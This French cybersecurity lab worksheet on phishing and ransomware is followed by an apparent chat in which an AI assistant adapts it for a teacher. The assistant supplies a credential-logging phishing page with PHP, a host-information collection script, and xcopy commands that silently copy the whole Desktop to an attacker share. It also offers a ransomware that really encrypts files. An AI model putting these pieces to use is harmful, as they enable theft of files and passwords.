

# TP : Simulation d'une attaque de Phishing et Analyse d'un Malware

## Objectifs du TP

À la fin de ce TP l'étudiant sera capable de :

- Comprendre le fonctionnement d'une attaque de **phishing**
- Identifier un **email malveillant**
- Analyser le comportement d'un **malware**
- Comprendre le principe d'un **ransomware**
- Mettre en place des **mesures de protection**

## Partie 1 : Préparation de l'environnement

### Matériel nécessaire

- 1 ordinateur
- 2 machines virtuelles

Logiciels :

- VirtualBox
- Kali Linux
- Windows 10

Architecture du TP :

Machine 1 (Attaquant)

Kali Linux

Machine 2 (Victime)

Windows

## Partie 2 : Simulation d'un Phishing

## Étape 1 : Création d'un faux email

Créer un email frauduleux :

Exemple :

Objet : Vérification de votre compte bancaire

Cher client,

Votre compte nécessite une vérification urgente.

Veuillez ouvrir le fichier ci-joint pour confirmer vos informations.

Service sécurité

## Étape 2 : Création d'un faux fichier

Créer un fichier :

facture.pdf

Mais en réalité :

facture.pdf.exe

Dans Windows :

1. créer un fichier texte
2. renommer le fichier
3. masquer l'extension

## Étape 3 : Envoi du mail

Envoyer le mail de **Kali vers Windows**.

Simulation :

- partage réseau
- ou clé USB virtuelle

## Étape 4 : Analyse du comportement

Sur la machine victime :

1. ouvrir le fichier
2. observer ce qui se passe
3. vérifier les processus dans :

Gestionnaire des tâches.

## Questions

### Q1

Quel est l'objectif de l'attaque de phishing ?

### Q2

Pourquoi l'attaquant utilise-t-il un nom de fichier comme :  
facture.pdf.exe

### Q3

Quel est le rôle de l'ingénierie sociale dans cette attaque ?

## Partie 3 : Simulation d'un Malware simple

Nous allons créer **un faux malware pédagogique**.

### Étape 1 : Création d'un script

Créer un fichier :

virus\_test.bat

Contenu :

@echo off

echo Simulation malware

echo Vos fichiers sont compromis

pause

## Étape 2 : Exécution

Exécuter le fichier sur la machine victime.

Observer :

- ouverture du terminal
- exécution du script

## Étape 3 : Observation système

Ouvrir :

Gestionnaire des tâches.

Observer :

- processus
- mémoire utilisée

## Questions

### Q4

Qu'est-ce qu'un malware ?

### Q5

Que se passe-t-il lorsque le script est exécuté ?

### Q6

Comment un antivirus pourrait détecter ce fichier ?

## Partie 4 : Simulation d'un Ransomware (pédagogique)

Nous allons simuler un ransomware **sans danger**.

## Étape 1 : Création du script

Créer un fichier :

ransomware\_test.bat

Code :

```
@echo off
```

```
echo Vos fichiers sont chiffrés !
```

```
echo Pour les récupérer payez 1000$
```

```
pause
```

## Étape 2 : Exécution

Lancer le script.

Observer :

- message affiché
- comportement du système

## Questions

### Q7

Quel est l'objectif d'un ransomware ?

### Q8

Que signifie chiffrer les données ?

### Q9

Pourquoi les attaquants demandent-ils une rançon ?

## Partie 5 : Analyse de sécurité

## Q10

Citer 4 signes d'un email phishing.

## Q11

Donner 3 méthodes pour éviter une attaque ransomware.

## Q12

Que doit faire un utilisateur après une infection ?

# Résultat attendu

À la fin du TP l'étudiant doit savoir :

- reconnaître un **email phishing**
- comprendre comment un **malware s'installe**
- comprendre comment fonctionne un **ransomware**
- appliquer des **mesures de protection**

**1 TP : Création d'un faux site phishing avec Kali Linux**

**2 TP : Analyse d'un ransomware avec Wireshark**

**3 TP : Détection d'un malware dans le réseau**

Ce sont **les TP utilisés dans les formations de cybersécurité.**

Pour ceci `facture.pdf.exe` et `virus_test.bat` et `ransomware_test.bat` comment fonctionne t-il et comment les exécutés sachant je n'ai pas de Virtual box je suis prof développeur et je veux que mes stagiaires fassent les tp

Comme vous êtes **professeur en développement** et que vous voulez que les stagiaires **réalisent les TP sans VirtualBox**, on peut utiliser des **scripts pédagogiques simples sous Windows.**

Ces scripts **ne sont pas des vrais malwares**, ils servent seulement à **simuler le comportement** d'une attaque pour comprendre le mécanisme.

Je vais expliquer :

- 1 comment fonctionne chaque fichier
- 2 comment le créer
- 3 comment l'exécuter
- 4 ce que les stagiaires doivent observer

# 1. Le fichier `facture.pdf.exe`

## Principe pédagogique

Ce fichier sert à expliquer **l'attaque de phishing avec une fausse pièce jointe**.

Dans Windows, un fichier peut avoir une **double extension** :

`facture.pdf.exe`

L'utilisateur pense ouvrir un **PDF**, mais c'est en réalité **un programme exécutable**.

## Fonctionnement

Quand l'utilisateur **double-clique** :

1. Windows exécute le programme `.exe`
2. le programme peut :
  - a. installer un malware
  - b. voler des données
  - c. télécharger un virus

Dans notre TP, nous allons juste afficher un message.

## Création du faux fichier

### Étape 1 : créer un fichier texte

Sur Windows :

clic droit → nouveau → document texte

Nom :

`facture.txt`

### Étape 2 : écrire le script

Contenu :

```
@echo off
```

```
echo Simulation d'une piece jointe malveillante
```

```
echo Votre ordinateur pourrait etre infecte
```

```
pause
```

### Étape 3 : enregistrer

Renommer :

```
facture.bat
```

### Étape 4 : simuler le phishing

Renommer :

```
facture.pdf.bat
```

ou

```
facture.pdf.exe
```

(Windows peut masquer l'extension et l'utilisateur croit ouvrir un PDF)

## Exécution

Double-cliquer sur :

```
facture.pdf.bat
```

Résultat :

Une fenêtre noire s'ouvre :

```
Simulation d'une pièce jointe malveillante
```

```
Votre ordinateur pourrait être infecte
```

## 2. Le fichier virus\_test.bat

### Principe

C'est un **script batch Windows** qui simule un malware.

Un fichier **.bat** est une suite de **commandes Windows exécutées automatiquement**.



## Code

```
@echo off  
echo Simulation malware  
echo Collecte des informations utilisateur...  
echo Envoi des données vers le serveur attaquant  
pause
```

## Explication ligne par ligne

**@echo off**

Empêche l’affichage des commandes.

**echo**

Affiche un message à l’écran.

**pause**

Arrête le script et affiche :

Press any key to continue

## Exécution

Double-cliquer sur :

virus\_test.bat

Le terminal s’ouvre et exécute les instructions.

# 3. Le fichier ransomware\_test.bat

## Principe

Il simule un **ransomware pédagogique**.

Un vrai ransomware :

1. chiffre les fichiers
2. affiche une demande de rançon

Nous allons seulement **simuler le message**.

## Code

```
@echo off
color 4
echo *****
echo VOS FICHIERS SONT CHIFFRES
echo PAYEZ 500$ POUR LES RECUPERER
echo *****
pause
```

## Explication

### color 4

Change la couleur du terminal (rouge).

### echo

Affiche le message du ransomware.

### pause

Bloque l'écran pour simuler la menace.

## Exécution

Double-cliquer sur :

ransomware\_test.bat

Résultat :

Écran rouge avec message :

VOS FICHIERS SONT CHIFFRES

PAYEZ 500\$

## 4. Comment organiser le TP avec les stagiaires

### Étape 1 : Création des scripts

Les stagiaires créent :

virus\_test.bat

ransomware\_test.bat

facture.pdf.bat

### Étape 2 : Simulation d'attaque

Un stagiaire joue :

**l'attaquant**

Il envoie :

facture.pdf.bat

par :

- email
- clé USB
- partage réseau

### Étape 3 : La victime ouvre le fichier

Le script s'exécute.

Discussion :

- pourquoi l'utilisateur s'est fait piéger ?
- comment détecter l'attaque ?

## 5. Questions pour les stagiaires

**Q1**

Quelle est la différence entre :

.pdf

.exe

.bat

## Q2

Pourquoi la double extension est dangereuse ?

## Q3

Comment Windows peut masquer les extensions ?

## Q4

Comment éviter ce type d'attaque ?

# 6. Mesures de sécurité à montrer aux stagiaires

Dans Windows :

Activer :

Afficher les extensions de fichiers

Chemin :

Explorateur

→ Affichage

→ Extensions de noms de fichiers

Ainsi :

facture.pdf.exe

sera visible.

# 7. Amélioration pédagogique

**TP avancé :**

- 1 simulation phishing
- 2 simulation ransomware
- 3 détection antivirus
- 4 analyse des processus

Avec l'outil :

- Process Explorer
- Wireshark

#### ✓ TP

- TP cybersécurité complet
- Simulation réelle de phishing avec faux site web
- TP ransomware qui chiffre vraiment des fichiers de test

Vos stagiaires ont compris comment la victime exécute le fichier, mais maintenant expliquons comment l'attaquant récupère les informations.

Dans un vrai malware, **réalisation en classe** sans danger.

⚠ Important : l'objectif est **la compréhension**, pas la création de vrais malwares.

## 1. Principe général : comment l'attaquant récupère les données

Dans une vraie attaque, le malware fait généralement ceci :

- 1 Il collecte des informations sur l'ordinateur

Exemples :

- nom de l'utilisateur
- nom de l'ordinateur
- adresse IP
- fichiers présents
- mots de passe stockés

**2** Il envoie ces informations vers un serveur de l'attaquant

Ce serveur est appelé :

### **Serveur C2 (Command & Control)**

Le malware envoie les données via :

- HTTP
- FTP
- email
- socket réseau

Schéma simple :

Victime ouvre fichier

↓

Le script collecte des infos

↓

Le script envoie les infos

↓

Serveur de l'attaquant

## **2. Simulation simple pour vos stagiaires (TP pédagogique)**

Nous allons faire :

- un script qui **collecte des infos Windows**
- qui **les enregistre dans un fichier**
- puis **les envoie vers un dossier partagé**

Cela simule une exfiltration de données.

## **3. Exemple de script pédagogique**

Créer :

```
collecte_info.bat
```

```
Code :
```

```
@echo off
```

```
echo Collecte des informations...
```

```
echo Nom utilisateur: %username% >> infos.txt
```

```
echo Nom ordinateur: %computername% >> infos.txt
```

```
ipconfig >> infos.txt
```

```
echo Liste des fichiers du bureau >> infos.txt
```

```
dir C:\Users\%username%\Desktop >> infos.txt
```

```
echo Envoi des informations...
```

```
copy infos.txt \\PC\_ATTAKUANT\partage\
```

```
echo Terminé
```

```
pause
```

## 4. Explication ligne par ligne

### **récupérer le nom utilisateur**

```
%username%
```

Windows donne automatiquement :

```
Nom utilisateur: Ahmed
```

### **récupérer le nom du PC**

```
%computername%
```

Exemple :

```
PC-SALLE1
```

## **récupérer l'adresse IP**

Commande :

```
ipconfig
```

Cela affiche :

Adresse IPv4 : 192.168.1.15

## **récupérer les fichiers du bureau**

```
dir C:\Users\%username%\Desktop
```

Le malware peut voir :

```
notes.txt
```

```
motdepasse.docx
```

```
projet.pdf
```

# **5. Envoi des données vers l'attaquant**

Dans notre simulation :

```
copy infos.txt \\PC ATTAQUANT\partage\
```

Cela copie le fichier vers un **ordinateur sur le réseau**.

Donc :

Victime → Attaquant

# **6. Ce que verra l'attaquant**

Dans son dossier :

```
infos.txt
```

Contenu exemple :

```
Nom utilisateur: Ahmed
```

```
Nom ordinateur: PC-SALLE1
```

Adresse IPv4 : 192.168.1.15



Liste des fichiers du bureau

notes.txt

projet.pdf

motdepasse.docx

Donc le malware a **récupéré les informations**.

## 7. Version encore plus réaliste (simulation réseau)

Dans les vrais malwares, les données sont envoyées vers Internet via :

- requête HTTP
- API
- serveur distant

Exemple conceptuel :

POST <http://serveur-attaquant.com/collecte>

avec les données.

## 8. Explication:

Nous pouvons dire :

Un malware fonctionne souvent comme un **espion**.

- 1 il regarde dans l'ordinateur
- 2 il copie les informations
- 3 il les envoie à son maître (attaquant)

## 9. Exemple de scénario pédagogique

TP en classe :

- 1 un stagiaire joue **l'attaquant**
- 2 un autre **la victime**

La victime exécute :

`facture.pdf.bat`

Le script :

1. collecte les infos
2. crée `infos.txt`
3. l'envoie à l'attaquant

Puis vous montrez :

Regardez, l'attaquant a reçu vos informations

## 10. Discussion pédagogique

Questions aux stagiaires :

- 1 Pourquoi la victime a ouvert le fichier ?
- 2 Comment détecter ce script ?
- 3 Quel rôle joue l'antivirus ?
- 4 Comment empêcher l'exécution ?

✓ Si vous voulez, je peux aussi vous préparer **un TP beaucoup plus impressionnant pour vos stagiaires :**

- Simulation d'un **vrai ransomware qui chiffre des fichiers de test**
- TP **phishing avec faux site bancaire**
- TP **capture des données avec Wireshark**

Ces TP sont **ceux utilisés dans les formations professionnelles de cybersécurité** et vos stagiaires vont vraiment comprendre comment fonctionnent les attaques.

`dir C:\Users\%username%\Desktop >> infos.txt` pour ceci j'ai juste récupéré la liste des fichiers sur bureau distant et pas les fichiers réels donner moi donc la commande pour la récupération

Exact ! 👍 Vous avez raison :

La commande

`dir C:\Users\%username%\Desktop >> infos.txt`

**ne fait que lister les fichiers**, elle ne copie pas le contenu des fichiers.

Si vous voulez **récupérer le contenu réel des fichiers** (pour le TP pédagogique), il faut **copier les fichiers vers un dossier de l'attaquant**.

## 1 Copier tous les fichiers du bureau

Pour copier tous les fichiers du bureau vers un dossier distant

([\\PC ATTAQUANT\partage\](#)), utilisez :

```
xcopy "C:\Users\%username%\Desktop\*" "\\PC ATTAQUANT\partage\" /s  
/i /y
```

### Explications des options

- "C:\Users\%username%\Desktop\\*" → tous les fichiers du bureau
- "[\\PC ATTAQUANT\partage\](#)" → dossier réseau de destination
- /s → copie les fichiers dans les sous-dossiers aussi
- /i → si destination n'existe pas, la crée
- /y → ne demande pas confirmation pour écraser

## 2 Copier seulement certains types de fichiers

Exemple : récupérer tous les .txt et .docx :

```
xcopy "C:\Users\%username%\Desktop\*.txt" "\\PC ATTAQUANT\partage\"  
/s /i /y
```

```
xcopy "C:\Users\%username%\Desktop\*.docx" "\\PC ATTAQUANT\partage\"  
/s /i /y
```

## 3 Copier les fichiers et créer un log

Si vous voulez **simuler le vol de données + journal**, vous pouvez faire :

```
@echo off
```

```
echo Récupération des fichiers du bureau... > infos.txt
```

```
xcopy "C:\Users\%username%\Desktop\*" "\\PC ATTAQUANT\partage\" /s
/i /y >> infos.txt
echo Terminé >> infos.txt
```

- Le fichier `infos.txt` contient le **résultat de la copie**
- Tous les fichiers sont copiés dans le dossier partagé **pour que l'attaquant les récupère**

## 4 Alternative pour TP local (sans réseau)

Si vous n'avez **pas de dossier réseau**, vous pouvez copier dans un **dossier local "Attaquant"** :

```
mkdir C:\Attaquant
xcopy "C:\Users\%username%\Desktop\*" "C:\Attaquant\" /s /i /y
```

- Permet de **simuler l'exfiltration** sans réseau
- Les stagiaires verront tous les fichiers copiés

Si vous voulez, je peux vous écrire **un script complet de TP pédagogique** qui :

- 1 collecte des infos système
- 2 copie tous les fichiers du bureau (ou types spécifiques)
- 3 crée un fichier log
- 4 simule un envoi vers l'attaquant

C'est **prêt à donner aux stagiaires**, totalement sûr et pédagogique.

Voulez-vous que je fasse ça ?

oui pour Si vous voulez, je peux aussi vous préparer un TP beaucoup plus impressionnant pour vos stagiaires : simulation d'un vrai ransomware qui chiffre des fichiers de test TP phishing avec faux site bancaire TP capture des données avec Wireshark

Parfait ! 👍 Comme vous êtes professeur et que vos stagiaires sont en développement, je vais vous préparer **un ensemble de 3 TP pédagogiques complets, sûrs et**

**réalisables sur Windows** sans VirtualBox, mais très proches de ce qui se fait dans les formations professionnelles en cybersécurité.

Ces TP permettent de **comprendre le fonctionnement des attaques et d'analyser leur impact**.

# TP 1 : Simulation d'un ransomware

## pédagogique qui chiffre des fichiers de test

### Objectif

- Comprendre le fonctionnement d'un ransomware.
- Simuler le chiffrement de fichiers sans danger.
- Observer les effets sur le système et la récupération.

### Matériel

- Windows 10 ou 11
- Un dossier C:\FichiersTest contenant des fichiers exemples (texte, docx, pdf).
- Bloc-notes pour créer les scripts .bat.

### Étapes

#### *Étape 1 : Créer un dossier de test*

```
mkdir C:\FichiersTest  
echo Test fichier 1 > C:\FichiersTest\fichier1.txt  
echo Test fichier 2 > C:\FichiersTest\fichier2.txt
```

#### *Étape 2 : Créer le script de chiffrement pédagogique*

```
@echo off  
setlocal enabledelayedexpansion  
  
echo Simulation ransomware en cours...  
  
for %%f in (C:\FichiersTest\*) do (
```

```
ren "%f" "%~nf.enc"
)

echo Tous les fichiers ont été "chiffrés"
pause
```

⚠ Explication :

- ren renomme les fichiers avec .enc pour simuler le chiffrement.
- Aucun contenu n'est modifié, c'est totalement sûr.

### **Étape 3 : Exécution**

1. Double-cliquer sur ransomware\_test.bat.
2. Observer que tous les fichiers du dossier C:\FichiersTest sont renommés.

### **Étape 4 : Discussion avec les stagiaires**

- Quel impact cela aurait dans un vrai ransomware ?
- Comment détecter l'attaque ?
- Comment protéger les données (sauvegarde, antivirus, permissions) ?

## **TP 2 : Simulation de phishing avec faux site bancaire**

### **Objectif**

- Comprendre comment un site de phishing peut tromper l'utilisateur.
- Analyser les dangers et les signes d'un site frauduleux.

### **Matériel**

- Windows + navigateur
- Bloc-notes
- Dossier local pour héberger le faux site (C:\FauxSiteBank)

### **Étapes**

#### **Étape 1 : Créer une page HTML simple**

```
<!DOCTYPE html>

<html>
```

```
<head>
<title>Connexion Banque XYZ</title>
</head>
<body>
<h2>Bienvenue sur Banque XYZ</h2>
<form action="recup.php" method="post">
Identifiant: <input type="text" name="user"><br>
Mot de passe: <input type="password" name="pass"><br>
<input type="submit" value="Connexion">
</form>
</body>
</html>
```

### **Étape 2 : Créer un script PHP simulant la récupération**

```
<?php
file_put_contents("donnees.txt", "Utilisateur: ".$_POST['user']."
Mot de passe: ".$_POST['pass']."\n", FILE_APPEND);
echo "Connexion échouée. Veuillez réessayer.";
?>
```

⚠ Remarque : Tout se fait **localement**, aucun accès à Internet n'est nécessaire.

### **Étape 3 : Exécution**

1. Ouvrir le fichier HTML dans un navigateur.
2. Entrer un identifiant et mot de passe.
3. Vérifier que `donnees.txt` contient les informations (simulation d'exfiltration).

### **Étape 4 : Discussion**

- Quels éléments permettent de détecter un site de phishing ?
- Que faire si vous recevez un email vers ce site ?

## **TP 3 : Capture et analyse de données réseau avec Wireshark**

### **Objectif**

- Comprendre comment un malware envoie des données vers l'attaquant.
- Observer les paquets réseau en temps réel.

## Matériel

- Windows + Wireshark installé
- Réseau local (même PC ou LAN)

## Étapes

### Étape 1 : Préparer le script simulateur

```
@echo off
echo Simulation envoi de données...
ping -n 1 192.168.1.100 > nul
echo Donnees envoyees >> C:\Simulation\log.txt
pause
```

Ce script simule l'envoi d'informations vers un serveur malveillant.

### Étape 2 : Lancer Wireshark

- Démarrer la capture sur l'interface réseau du PC.
- Exécuter le script.
- Observer les paquets ICMP ou HTTP envoyés.

### Étape 3 : Analyse

- Identifier l'adresse source (victime) et destination (attaquant).
- Vérifier les paquets contenant les données simulées.

### Étape 4 : Discussion

- Comment un malware réel enverrait-il les données ?
- Comment filtrer et détecter ce type de trafic ?
- Quelle protection mettre en place (firewall, IDS, antivirus) ?

## 💡 Avantages pédagogiques de ces TP

- 100% sûrs et réalisables sur un PC normal
- Les stagiaires **voient les effets d'un malware sans danger**
- Permettent de **comprendre le phishing, le ransomware et l'exfiltration**
- Préparent à des TP avancés dans des environnements isolés (VM)



Si vous voulez, je peux vous préparer **les scripts complets prêts à distribuer aux stagiaires**, avec :

- Tous les .bat pour ransomware et collecte de fichiers
- Page HTML + PHP pour phishing
- Script simulateur pour Wireshark

Ainsi vos stagiaires peuvent **faire les TP directement et noter les observations**